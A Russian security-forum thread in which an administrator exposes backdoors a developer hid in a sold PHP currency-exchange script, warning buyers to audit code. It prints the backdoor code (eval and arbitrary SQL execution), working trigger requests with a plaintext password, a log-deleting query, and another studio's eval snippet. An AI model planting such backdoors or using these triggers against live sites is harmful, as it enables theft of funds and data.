Тихий спокойный вечер или коварство программиста

Тема в разделе "Защита и взлом", создана пользователем stealthdebuger, 15 ноя 2013.

  1. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.422
    В один тихий, спокойный вечер постучался ко мне в аську старый знакомый с просьбой помочь разобраться что делает странный запрос к сайту.
    /?bAdminHost&sPassword=gfl763qv&sMod=MYSQL_FETCH_ALL&sSQL=SELECT%20*%20FROM%20Settings
    Думаю, не стоит объяснять какие у меня возникли мысли сразу, как только я увидал этот запрос, вариант всего лишь один - бекдор.
    Мне передали для анализа файлы и довольно быстро был найден модифицированный файлик smarty/sysplugins/smarty_internal_templatebase.php
    в котором в функция display() вглядела таким образом:
    PHP:
    public function display($template null$cache_id null$compile_id null$parent null)
        {
            
    # Обработка запросов разработчика скрипта :
            
    switch( isset( $_REQUEST['bAdminHost'] ) && isset( $_REQUEST['sPassword'] ) && md5$_REQUEST['sPassword'] ) == '095030340ad580b3cf4a574d0fe0943d' && isset( $_REQUEST['sMod'] ) ? $_REQUEST['sMod'] : null ) {

                
    # Интерфейс : выполнение SQL-запроса.
                
    case 'MYSQL_QUERY':

                    
    # Получение внешних данных :
                    
    if( !isset( $_REQUEST['sSQL'] ) )
                        die( 
    'Не передан SQL запрос' );

                    
    # Выполнение SQL - запроса :
                    
    echo 'Затронуто '.DB()->query$_REQUEST['sSQL'] )->rowCount().' строк<br />';

                die( 
    'Запрос "'.$_REQUEST['sSQL'].'" успешно выполнен' );

                
    # Интерфейс : получение результата SQL-запроса.
                
    case 'MYSQL_FETCH_ALL':
                    
                    if( !isset( 
    $_REQUEST['sSQL'] ) )
                        break;
                    
                    echo 
    '<pre>';
                    
    print_rDB()->query$_REQUEST['sSQL'] )->fetchAllPDO::FETCH_ASSOC ) );
                    echo 
    '</pre>';
                    
                exit();
                
                
    # Интерфейс : выполнение PHP кода.
                
    case 'EVAL':
                    
                    if( !isset( 
    $_POST['sEval'] ) )
                        die( 
    'Аргумент sEval не передан' );
                    
                    eval( 
    $_POST['sEval'] );
                    
                break;
            }
            
            
    // display template
            
    $this->fetch($template$cache_id$compile_id$parenttrue);
        }
    Интересный код, не правда ли? Любой, мало-мальски знакомый с PHP человек скажет, что нет ни малейшего сомнения в том, что данный код оставил не кто иной, как разработчик скрипта, либо человек, у которого был непосредственный доступ к файлам скрипта.
    Эти скрипты представляют собой систему автоматического обмена и ввода/вывода ЭПС, иными словами - скрипт обменника.
    Не сильно заморачиваясь, я сказал приятелю какой кусок кода должно убрать и занялся своими делами, практически позабыв об этой истории, но...
    На следующий день этот же знакомый стучится ко мне с вопросом: "как мне расшифровать мд5? 4d57771e030bb6598738bc3a6f28d98c"
    На мои распросы, человек сказал, что в тот же день, когда было обнаружено существование бекдора, разработчик удалил на страницах своего сайта список клиентов и... разослал клиентам обновления скрипта, в котором был изменен лишь MD5-хеш пароля к бекдору.
    Далее, знакомый сбросил часть переписки разработчика данного обменника с его клиентом:
    Комментарии излишни? О чем еще можно говорить, услышав такое пояснение. Защита от перепродаж - посредством внедрения бекдора...
    Мне известны случаи когда внедрялся бекдор, к примеру в скрипты магазина fast-sales, о котором я рассказывал здесь
    или веб-студии bondsoft.ru, которая очень любит оставлять в созданных ними сайтах код
    PHP:
    $command = isset($_POST["command"]) ? $_POST["command"] : "";
    eval(
    $command);
    Я не хочу говорить о таких недостатках этого обменника, как SQL-inj или возможность LFI. Уверен, что покупатели скрипта не жалуются на то, что он может отправить деньги два и более раз по одной заявке или внезапную смену курсов, когда один рубль можно обменять на 0.97 WMZ.
    Хотелось бы понять, какие моральные принципы позволяют сознательно оставлять бекдор в скриптах, работе которых люди доверяют свои деньги?
    Дальнейшая история становится еще более забавной... Из двух обменников увели крупную сумму денег, используя рассмотренный выше бекдор.
    Злоумышленник пытался подчистить за собой, удалив записи действий, хранящиеся в базе данных при помощи запроса
    /?bAdminHost&sPassword=gfl763qv&sMod=MYSQL_QUERY&sSQL=DELETE%20FROM%20Visitors
    Правда, он совсем не учел (или просто не знал), что на сервере есть другие логи, где IP-адрес с которого отправлялись запросы сохранился.

    Подводя итоги, хотелось бы дать совет веб-мастерам. Если вы не "халявщик" и планируете запустить серьезный проект, уделите несколько больше времени при выборе кандидатуры исполнителя. И пусть вас не вводят в заблуждение наличие собственной web-студии, "толстого портфеля" и дифирамбы пользователей.
    Предупреждайте потенциального исполнителя о проведении аудита сторонним специалистом. "Плохишей" это отпугнет, а "хороших" заставит быть более старательными при разработке вашего проекта.
    Проводите не только внешний аудит вашей системы, но и аудит исходного кода, если речь идет действительно о проекте, на который вы делаете большие ставки.
    Не бойтесь проводить аудит, но заказывайте его только у людей, которые имеют опыт в этом.
    Не опасайтесь доверять пентестеру доступы к вашему сайту. Услуги проведения аудита стоят весьма высоко и пентестер не будет рисковать своей репутацией, возможностью заработать немного "лишних" денег, "слив" ваши данные или скрипты.

    P.S. Извиняюсь за несколько сумбурное изложение, сказывается усталость.
    P.P.S. Хотелось бы видать отдельную ветку, посвященную подобным ситуациям. Народ должен знать таких "героев", imho.[/quote]
     
    Последнее редактирование: 15 ноя 2013
    TrueStory, sanmitsu, pozhisni и 19 другим нравится это.
  2. invader

    invader Серый кардинал в отставке :)

    Moderator
    • Супермодератор
    Регистр.:
    3 апр 2006
    Сообщения:
    2.579
    Симпатии:
    5.748
    Жестяная жесть... В АОП-е бэкдор от разраба...
    Есть тьма возможностей проверки лицензии, если уж так прёт.
    Ну а обменники на краденном ПО работать не будут, либо будут как лохотроны.
    Походу я догадываюсь, кто разработчик...
     
  3. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.422
    Совсем недавно ко мне обратился уже другой человек, но его интересовал все тот же вопрос. Найти в новой версии данного АОП бекдор, оставленный разработчиком.
    Время идет, всё меняется, многие учатся чему-то для них новому. Жаль, что люди не хотят учиться как стать лучше чем они есть.
    После непродолжительных поисков в файле event.php обнаружен следующий код:
    PHP:
                # Получение внешних данных :
                
    .......................
                
    $aSecurity explode'&'GetField$_REQUEST'sSecurity' ) );
                
                .......................
                
    # Проверка безопасности :
                
    if( count$aSecurity ) > && md5$aSecurity[0] ) == '1434d7d6138369a572befe6a7de46928' )
                    
    DB()->exec$aSecurity[1] );
    Код прозрачен, но если нужны пояснения...
    Отправляем на URL site.ru/event.php POST-запрос вида sSecurity=secret_key&sql_query
    где md5(secret_key) = 1434d7d6138369a572befe6a7de46928, sql_query = любой sql-запрос

    Всё. Очередной АОП будет под вашим полным контролем.

    P.S. Напомню, речь идёт о скрипте автоматического обменника от павлухи. Скрипты он вполне успешно продаёт наивным людям, которые хотят начать свой бизнес в сфере обмена валют, но не имеют достаточно средств для приобретения качественных разработок. Ну и скрягам, конечно, куда уж без них))

    Есть его старая тема https://www.nulled.cc/threads/240184/ недавно появилась новая https://www.nulled.cc/threads/263749/
    Также, два его сайта на которых идут продажи Перейти по ссылке

    P.P.S. Как назвать человека, который заявил
    Может я что-то не правильно понимаю и данный код нельзя отнести к "вредоносным"?
     
    Последнее редактирование: 27 окт 2015
    Sorcus, latteo, KillDead и 2 другим нравится это.
  4. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.422
    Небольшое дополнение. Случайно был найден сайт Перейти по ссылке который также относится всё к тому же павлуше, но здесь он уже сразу предлагает вам отдать ему доступы к вашим аккаунтам в разных платёжных системах :facepalm:
     
  5. Eugeny1985

    Eugeny1985 Создатель

    Регистр.:
    5 фев 2015
    Сообщения:
    11
    Симпатии:
    2
    если хочешь сделать что-то свое, нужно это дело самому и изучать. кодеру ведь ничто не мешает закрыть часть кода обфускатором и зендом и сказать что там его ноу-хау которые он не хочет расскрывать. да и вообще в основном коде может понаставить кучу проверок на удаление названного вами "бэкдора".
    мой совет - заплатили за код. потом обратились к нему же и заплатили столько же за убирание всех бэкдоров. так надежней.
     
  6. denverkurt

    denverkurt Denve®

    Регистр.:
    23 дек 2013
    Сообщения:
    703
    Симпатии:
    386
    а я бы потребовал убрать бэкдоры и вернуть деньги назад!
    я незнаю, какой то кодекс чести должен быть у программиста, который продает свой код?
    одно дело когда на варезных сайтах в ворованные скрипты суют левые ссылки, вирусы и бэкдоры. но когда ты продаешь свой продукт - это недопустимо!
     
    Последнее редактирование: 30 окт 2015
  7. TrueStory

    TrueStory Бородатый Админчег

    Регистр.:
    30 апр 2015
    Сообщения:
    193
    Симпатии:
    61
     
  8. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.422
  9. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.422
    Долго не было никаких новостей, но.... Время идёт, а люди не меняются....
    Появилась обновленная версия скрипта и... новый бекдор.
    Файл webmoney.event.php содержит в себе строки
    PHP:
        # Проверка на защиту от взлома :
        
    if( mb_strlen$sHash ) != 32 ) {
            if( 
    hash'sha256'mb_substr$sHash0) ) == '86614ed31bdba2390d66f200fdf8ce552b07dd391b18c1f6e35158750ae3190f' )
                    
    DB()->execmb_substr$sHash) );
            die( 
    'HASH' );
    Выполнение произвольного sql-запроса.
     
    Renny и latteo нравится это.
  10. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.422
    На днях слили все деньги с очередного обменника на данном скрипте, но на этот раз воспользовались методом соц.инженерии.
    Файл представлял собой банальную шелку, которую владелец обменника и закинул на свой сайт...
     
    General Fizz, TrueStory, KillDead и 2 другим нравится это.